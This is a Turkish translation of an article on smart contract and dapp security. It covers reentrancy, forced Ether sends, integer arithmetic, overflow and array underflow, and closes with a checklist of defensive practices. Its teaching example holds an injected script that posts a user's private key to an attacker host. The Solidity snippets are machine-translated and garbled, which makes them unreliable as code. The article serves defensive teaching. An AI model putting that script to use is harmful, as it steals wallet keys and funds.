Akıllı sözleşmelerin ve dapp'lerin geliştirilmesi yeni bir paradigmadır ve geliştirme yolu öncekinden farklı olacaktır.
Bu yeni paradigmada "çevik geliştirme" sloganının bir etkisi yok gibi görünüyor. Bu tür projelerin geliştirilmesinin belirli riskleri olacaktır.Bu, tasarım ve kodlamada uygulamalarımızı geliştirmek için yavaş ve metodik bir yöntem benimsememizi gerektirir. Her zaman dikkatli ve düşünceli olmaya çalışın.
Geliştirme sırasında, katı son tarihler belirlemek gibi çok fazla baskı altına girmeyin.
Geleneksel uygulamaların çoğunu topluluk klinikleriyle karşılaştırırsanız, blockchain'in acil servis odası olduğu söylenebilir. Bazı küçük problemler zincirde bulunduktan sonra çözülmesi zorlaşacaktır.Mümkün olan tüm olumsuz sonuçları göz önünde bulundurmalısınız.Bunu yapmazsanız, çok korkunç sonuçlarla karşılaşabilirsiniz.
Bu nedenle, belirli içeriğe başlamadan önce, bizi geliştirirken çok dikkatli olmaya zorlayan blok zinciri geliştirmenin özelliklerini tekrar etmeliyim.
Sonuç olarak, akıllı sözleşmeler ve bunlarla ilgili depolama işlevleri, yalnızca sözleşmenin normal çalışması için gerekli bilgileri depolayabilir.
İkincisi ve en önemlisi, tüm kaynak kodları herkes tarafından görülebilir, bu da yeraltında çalışan ünlü bilgisayar korsanlarının kodunuzun her satırını çözmek ve içindeki güvenlik açıklarını aramak için bolca zamana ve özgürlüğe sahip olduğu anlamına gelir. Kodun saklanacak hiçbir yeri olmayacak. .
Son ve en önemli nokta şudur:
Değişmez özellik
Akıllı sözleşme kodu tamamen orijinal mantığa göre yürütülüyor ve The DAO-level hard fork trajedisini tekrarlamak istemiyorum.
Blok zinciri geliştirmenin özelliği, sözleşme uygulandıktan sonra her şeyin kurcalanamayacağıdır. Değişmezliğin avantajı, akıllı sözleşmelere gönül rahatlığıyla güvenebilmemizdir. Güveni ilk kez koda programladık. Yabancılar, birbirleriyle güven oluşturmak yerine koda güvenebilirler. Akıllı sözleşmelere yavaş yavaş inanmaya başladık, insanları aldatmayacaklar ve hiçbir zaman özel bir şey yapmayacaklar.
Benim için küresel blockchain hegemonunu çok açık bir zihinle kucaklayacağım. Ve bir mühendis olarak, bu güvenen toplumu gerçekleştirmek için çok çalışacağım, ancak bu güvenen toplumun da ölümcül sorunları var.
Teknik olarak okuma yazma bilmeyen büyükannemizin yanlışlıkla hemoroid kremi için google aramasını Facebook'a gönderdiğini düşünün, bu büyük bir sorun olmaz ve silinebilir. Ancak özel anahtarını savunmasız bir akıllı sözleşmede ifşa ederse, yapabileceğimiz hiçbir şey kalmaz.Teknolojiye meraklı yeğeninin yapacak hiçbir şeyi yoktur ve blok zinciri tarayıcısındaki geçmiş silinmez!
Kod yazarken, her kullanıcının teknik olarak okuma yazma bilmediğini varsaymalıyız ve% 100 işlevin doğru çağrıldığından ve çalıştırmanın hatasız yapılabileceğinden emin olmalıyız. Cüzdan adresinize kaç kişinin baktığını asla bilemezsiniz. Milyonlarca dolar.
Daha sonra, bazı hazırlanmış güvenlik açıkları örneklerini tanıtacağım ve herkesi dahil etmek için bazı alıştırmalar yapacağım. Böylece gelecekte kod yazarken Dapp ve akıllı sözleşmenin boşluklarından kaçınabiliriz.
İlk duruma bakalım, biraz arka planla başlayalım.
· Bu, merkezi olmayan bir oyun platformudur
· Uygulamaları tarayıcı tabanlıdır
· Oyun geliştiricileri oyunlarını herkese açık olarak yayınlayabilir (Ethereum ağında çalışan dapp'ler)
· Oyuncular dapp için kayıt olabilir ve çeşitli oyunlar seçebilir (sanal ürünler satın almak için ETH kullanın)
· Kayıt olurken, yeni bir cüzdan oluşturmanıza yardımcı olacaktır (bu durum Mist veya Metamask gerektirmez)
· M-cüzdan anahtarı, doğrulama ve ödeme için oyuncunun tarayıcısında saklanır.
Evet, burası geliştiricilerin platform üzerinden yayın yapmaları ve oyuncuları etkili bir şekilde birbirine bağlamaları için iyi bir yer gibi görünüyor.
Ne yazık ki, HODL QUEST adlı bir oyun piyasaya sürüldükten sonra, kullanıcılar onu indirdiğinde, cüzdanlarındaki Ether miktarı azalmaya başladı.
Oyuncunun eteri nereye gitti? İlk olarak platformun bazılarına bakalım:
· Bu sorun, birkaç saat önce piyasaya sürülen yeni oyun HODL QUEST'ten kaynaklanıyor
· Oyunu ilk kez açtıktan sonra, cüzdandaki para birkaç saniye içinde kayboldu
· Oyun kaydı sırasında geliştirici, dapp adını, akıllı sözleşme adresini ve URL'yi platformdaki forma girer
· Platform, oyun iç çerçevesini dapp içine yerleştirir ve oyunun adını sayfanın üst kısmında görüntüler
· Geliştirme yönünü görmeye başlayabilirsiniz ... Daha fazla incelemeden sonra, HODL QUEST oyununun geliştiricisinin kayıt işlemi sırasında oyun başlığına bir satır içi komut dosyası eklediğini gördük. Oyunun html koduna yakından baktığımızda şuna benzer bir şey bulduk:
< h1 > HODL < senaryo > $ .post ("https://haxxx.lol/", localStore.getItem ("privateKey"));
< /senaryo > GÖREV < / h1 >
Kullanıcının tarayıcısı, oyun başlığının bir javascript parçası ekler ve kullanıcının özel anahtarını saldırganın uzak sunucusuna gönderir.
Bu, Dapp'ı yazarken ortaya çıkabilecek birçok sorundan sadece biridir.
Aşağıda, bir proje oluştururken akılda tutulması gereken şeylerin bir listesi verilmiştir:
Cüzdanları ve özel anahtarları koruyun: Kullanıcının cüzdanı ele geçirilirse oyun sona erer, bu nedenle bu hassas bilgileri kullanırken dikkatli olmanız gerekir.
Kullanıcı bilgilerini koruyun: Kullanıcılar, kişisel verilerinin dünyanın her yerine ifşa edilmesini istemez ve geliştirme sırasında kullanıcı verilerinin sızdırılmamasını sağlar.
Blok zincirinde veya sunucuda depolanması gereken içeriği akıllıca değerlendirin ve yalnızca akıllı sözleşmenin çalışması için gerekli verileri dahil edin
HTTPS kullanın: Bu standart bir uygulamadır ve açık olmalıdır
.gitignore duyarlı dosyalar: kendinizi yanlışlıkla sızan güvenlik açıklarından korumanın başka bir yolu
Koda erişim / API anahtarları eklemeyin
dapp'de kritik / riskli işlemler gerçekleştirirken iki faktörlü kimlik doğrulama gereklidir: Blok zincirinde gerçekleştirilen işlemler değişmezdir, bu nedenle zincir dışı güvenlik doğrulaması çok önemlidir
DAPP'nin güvenliği, akıllı sözleşmelerin güvenliği kadar önemlidir, umarım geliştiriciler bunu her zaman akıllarında tutar.
Ethereum akıllı sözleşmelerinde yarış koşullarının ortaya çıkmasının birkaç yolu vardır. Bu yazıda iki genel senaryoya odaklanacağız. Yeniden giriş ve işlem sırası bağlıdır.
Geri dönüş işlevini girin, bu işlevler, çağrılacak işlevin adını sağlamadan Ether'i sözleşmeye gönderirken çağrılan işlevlerdir.
Bu örnekte, geri çekme işlevi ether göndermek için address.call.value yöntemini kullandığında, BankRobber'ın fal'lback işlevini tetikleyecek ve ardından geri çekme yöntemi yeniden çağrılabilecektir. Gördüğünüz gibi, bu akıllı sözleşmenin tekrar tekrar eter göndermesine neden olacak ve tüm eteri tüketebilir!
Yukarıdaki şekilden de görebileceğiniz gibi, Ether göndermenin birçok farklı yolu vardır, ancak çoğu durumda, address.transfer önerilir. Bunun nedeni, işlem 2300 gazın tamamı biterse, geri dönecektir. Bu şekilde, kötü niyetli bir sözleşme sözleşmeyi yeniden imzalamaya çalışırsa, gaz tükenecek ve işlemin tamamı geri yüklenecektir.
Bazı durumlarda, göndermeyi veya geri aramaları kullanmak mantıklıdır, ancak bunları kullanırken ekstra dikkatli olmanız gerekir, çünkü bu yalnızca ether göndermekten çok memnun olduğunuzda gerçekleşir. Zamanın% 99'u, transfer doğru yoldur.
Yeniden girişi önlemenin bir başka yolu, harici bir arama yapmadan önce durumu güncellemek ve durumun yaklaşan işlemi temsil ettiğinden emin olmak için sözleşmede kontroller yapmaktır.
Bunun gibi manipülasyonu önlemenin birkaç farklı yolu vardır. Birincisi işlemleri gruplar halinde paketlemek, diğer yöntem ise teklif veren tarafından gönderilen teklifin hash değerini onaylamadan önce kötü niyetli bir işlem olup olmadığını belirlemek için ifşa etmektir.
Başka bir örnek görelim
Bu akıllı sözleşme, kullanıcıların yeni kral olmak için akıllı sözleşmeye eter gönderebilecekleri bir oyundur. Yeni gelen bir kral olduğunda, eski kral akıllı sözleşmede eseri alacak. Bu boşluğu bulabilir misin?
Bu, akıllı sözleşmelerin güvenliğini keşfetmek için egzersizler gerçekleştiren Ethernaut'un iyi bir örneğidir.
Bu örnekler, harici aramalar yaparken, aradığınız akıllı sözleşmenin güvenilir olduğunu asla varsaymamalısınız. Bir saldırganın deneyebileceği tüm olası olumsuz sonuçları önlemek için her zaman dikkatli olun.
İlk olarak, geri dönüş işlevinden tetiklendiğinde, geri dönüş işlevi yalnızca 2.300 gaza erişebilir, bu nedenle gaz hatalarını önlemek için mantığın çok basit olması gerekir.
// bir geri dönüş işlevi örneği
// Ether'in bir sözleşmeye gönderilmesini istemiyorsunuz
ödenecek işlev {
eski haline dönmek
}
bir soru var! Ether sözleşmeye gönderilmeye zorlandığında, yedekleme işlevi tetiklenmeyecektir.
sözleşme ForceSend {
function ForceSend {
// Fallback işlevini tetiklemeden kurbana ETH gönderir
function destroy {
kendi kendini yok etme (kurban);
İşlev, akıllı sözleşmenin eterini kurbanın adresine gönderir. Bu gönderme, sözleşmedeki geri alma işlevini tetiklemeyecektir. Bedava eter almak harikadır, ancak bu nedenle, sözleşmenin dengesini doğrudan kontrol etmekten ve belirli bir değer olmasını beklemekten kaçınmanız gerekir, çünkü aslında sandığınızdan daha büyük olabilir!
Alıcılara, satışın geçen süresine dayalı olarak satın almalar için ödüller sağlamak için bir jeton satışı akıllı sözleşmesi oluşturduğunuzu hayal edin. Böyle görünebilir.
/// sözleşme kodundan pasaj
function calculatePrice döndürür (uint256) {
uint percentTimePassed = (şimdi-startTime) / (endTime-startTime);
uint fiyatı = (yüzde 1-Zaman Geçti) * tabanFiyat + tabanFiyat;
iade fiyatı;
}
Gördüğünüz gibi, geleneksel dilde, geçen sürenin yüzdesi 0 ile 1 arasında bir ondalık sayı olarak hesaplanacak ve ardından fiyat iade edilecektir.
Ne yazık ki, bu tam sayı aritmetiği için geçerli değildir. İşlem doğru değilse bazı yanlış yüzdeler ciddi sorunlara neden olabilir.
Solidity'de şöyle bir şey yapmalısınız:
uint percentTimePassed = 100 * (şimdi-startTime) / (endTime-startTime);
uint fiyatı = ((yüzde 1-Zaman Geçti) * tabanFiyat) / 100 + tabanFiyat;
Yüzde, 0 ile 100 arasında bir tamsayı olarak hesaplanır, taban fiyata uygulanır ve ardından "ondalık basamağı" doğru noktaya sabitlemek için 100'e bölünür. Bu, yüzdeyi hesaplamanın kaba bir yoludur, çünkü bir miktar doğruluğu feda eder, ancak EVM'nin nasıl çalıştığına göre gereklidir. 100'ün daha büyük bir katı ile çarparak daha iyi doğruluk elde edebilirsiniz, ancak bu, sözleşmenin geçmişine bağlı bir karardır.
function add (uint a, uint b) {
res = a + b
eğer (res-b == a) (res > b || res == b) {
// operasyon güvenliydi
} Başka {
// taşma
Bu, sonucun değişken tarafından tutulan maksimum değeri çevrelememesini sağlayarak toplama işlemlerinde taşmayı kontrol eder. Çıkarma, çarpma ve bölme benzer kontroller gerektirir.
uint public bonusCodes;
function pushBonusCode (uint kodu) onlyOwner {
bonusCodes.push (kod);
}
function popBonusCode onlyOwner {
gerektirir (bonusCodes.length > = 0);
bonusCodes.length--;
}
function modifyBonusCode (uint index, uint update) onlyOwner {
gerektirir (dizin < bonusCodes.length);
bonusCodes = güncelleme;
}
Bu sözleşme, uzunluk alanı 0'a düşürülebilen bir depolama dizisine sahiptir. Bu, Solidity'nin dizi sınırı denetimini etkin bir şekilde devre dışı bırakarak aritmetik bir yetersizliğe neden olur. Bu nedenle, diziye taştıktan sonra, diziden sonra bulunan tüm eşlemeler dahil olmak üzere herhangi bir depolama öğesinin üzerine yazmak için kullanılabilir!
Geliştirme sırasında dikkate alınmayan küçük noktalardan emin değildik.Bunlar tek başına sıfırlamaya yol açan büyük sorunlar olabilir.Makalede belirtilen durumlarda kullanıcılar ortalama olarak milyonlarca dolar kaybetti.
Yapabileceğimiz en iyi şey, mevcut tüm uygulamaları ve akıllı sözleşme paradigmalarını takip etmek, kapsamlı testler yapmak ve profesyonel güvenlik personelinin bizim için kodu gözden geçirmesini sağlamaktır.
Gelecekte, akıllı sözleşmelerin işlevini ve güvenliğini birlikte inşa edelim!
(* Bu makale ilk olarak medium.com platformunda Joshua Hannan (Modular Operasyon Direktörü) tarafından yayınlandı, Cheetah Blockchain Güvenlik Ekibi tarafından çevrilip harmanlandı *)